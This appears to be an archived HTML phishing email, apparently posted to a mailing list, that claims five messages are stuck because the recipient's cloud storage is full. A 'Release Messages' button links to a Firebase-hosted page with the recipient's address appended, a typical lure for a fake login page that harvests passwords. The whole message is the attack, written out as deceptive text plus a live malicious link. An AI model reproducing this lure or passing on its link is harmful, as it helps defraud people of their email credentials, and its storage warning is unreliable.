<font color=3D"#000000">You have {5} undelivered mails clustered on your cl=
oud due to mail storage=20
capacity is full and awaiting approval from you to deliver messages and res=
tore=20
cloud storage. : <br><br></font></strong><font color=3D"#000000"><spam styl=
e=3D"font-size: small; float: none; display: inline; text-decoration-style:=
 initial; text-decoration-color: initial;"><strong>Be=20
notified, this will make messages bounce back.:<br><br></strong></spam><str=
ong><strong>Follow the instruction to resolve issue and release pending mes=
sages=20
to inbox.<br></strong><br></strong></font></font></font>
<br style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; l=
etter-spacing: normal; font-family: Tahoma, Geneva, sans-serif; font-size: =
12px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space:=
 normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-=
variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-w=
idth: 0px; text-decoration-style: initial; text-decoration-color: initial;"=
>
<br style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; l=
etter-spacing: normal; font-family: Tahoma, Geneva, sans-serif; font-size: =
12px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space:=
 normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-=
variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-w=
idth: 0px; text-decoration-style: initial; text-decoration-color: initial;"=
>
<strong style=3D"margin: 3px; padding: 13px; color: rgb(0, 0, 0); text-tran=
sform: none; text-indent: 0px; letter-spacing: normal; font-family: Tahoma,=
 Geneva, sans-serif; font-size: 14px; font-style: normal; word-spacing: 0px=
; white-space: normal; orphans: 2; widows: 2; background-color: rgb(38, 114=
, 236); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-=
text-stroke-width: 0px; text-decoration-style: initial; text-decoration-col=
or: initial;">
<a title=3D"This external link will open in a new window" style=3D"color: r=
gb(255, 255, 255); text-decoration: none; outline-width: medium; outline-st=
yle: none;" href=3D"https://firebasestorage.googleapis.com/v0/b/whois-9f46b=
=2Eappspot.com/o/Vrere.shtml?alt=3Dmedia&amp;token=3D2be94422-85a2-4fcf-874=
e-393cf56c72e7#tcfs.discuss@bloom-picayune.mit.edu" target=3D"_blank" rel=
=3D"noopener noreferrer"><font size=3D"4">Release Messages</font></a></stro=
ng>
<br style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; l=
etter-spacing: normal; font-family: Tahoma, Geneva, sans-serif; font-size: =
12px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space:=
 normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-=
variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-w=
idth: 0px; text-decoration-style: initial; text-decoration-color: initial;"=
>
<br style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; l=
etter-spacing: normal; font-family: Tahoma, Geneva, sans-serif; font-size: =
12px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space:=
 normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-=
variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-w=
idth: 0px; text-decoration-style: initial; text-decoration-color: initial;"=
>
<br style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; l=
etter-spacing: normal; font-family: Tahoma, Geneva, sans-serif; font-size: =
12px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space:=
 normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-=
variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-w=
idth: 0px; text-decoration-style: initial; text-decoration-color: initial;"=
>
<span style=3D"color: rgb(0, 0, 0); text-transform: none; text-indent: 0px;=
 letter-spacing: normal; font-family: calibri; font-size: medium; font-styl=
e: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphan=
s: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatur=
es: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text=
-decoration-style: initial; text-decoration-color: initial;"><font size=3D"=
4"></font></span></span></div><p></p><font size=3D"4">
<p><div style=3D"margin: 0px; padding: 0px; color: rgb(0, 0, 0); text-trans=
form: none; text-indent: 0px; letter-spacing: normal; font-family: Tahoma, =
Geneva, sans-serif; font-size: 12px; font-style: normal; font-weight: 400; =
word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-c=
olor: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps=
: normal; -webkit-text-stroke-width: 0px; text-decoration-style: initial; t=
ext-decoration-color: initial;">
<span style=3D"text-align: left; color: rgb(29, 34, 40); text-transform: no=
ne; text-indent: 0px; letter-spacing: normal; font-family: calibri; font-si=
ze: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=
pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =
font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=
oke-width: 0px; text-decoration-style: initial; text-decoration-color: init=
ial;">
<span style=3D"color: rgb(0, 114, 198); text-transform: none; text-indent: =
0px; letter-spacing: normal; font-family: Tahoma, Geneva, sans-serif; font-=
size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white=
-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)=
; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s=
troke-width: 0px; text-decoration-style: initial; text-decoration-color: in=
itial;"><font color=3D"#000000" face=3D"Arial" size=3D"3">
Thanks. <br><br>
<hr style=3D"height: 0px;=20
	visibility: hidden">
<span style=3D"color: rgb(110, 120, 139); text-decoration: none;">This emai=
l was sent to=20
{tcfs.discuss@bloom-picayune.mit.edu}.</span></font></span></span></div><p>=
</p></font></font><p></p></body></html>
------=_NextPart_000_0012_52E7E3C5.5AE51897--

home help back first fref pref prev next nref lref last post